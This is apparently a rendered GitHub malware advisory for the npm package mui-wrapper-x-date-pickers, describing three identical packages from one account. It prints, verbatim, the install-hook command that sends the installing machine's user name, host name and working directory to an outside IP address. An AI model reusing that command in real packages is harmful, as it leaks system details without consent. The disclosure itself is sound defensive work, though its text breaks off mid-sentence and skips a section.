Malicious code in mui-wrapper-x-date-pickers (npm)
GitHub lists this malware advisory for mui-wrapper-x-date-pickers, mui-wrapper-x-date-pickers. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning

The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
mui-wrapper-x-date-pickers
source listed= 1.0.0
mui-wrapper-x-date-pickers was published to npm on 2026-10-27 from 06:55:20 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 10.0.0 is the latest version at the time of this report. package.json declares a preinstall and a postinstall script, which npm runs on every install: node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})" The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.

03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
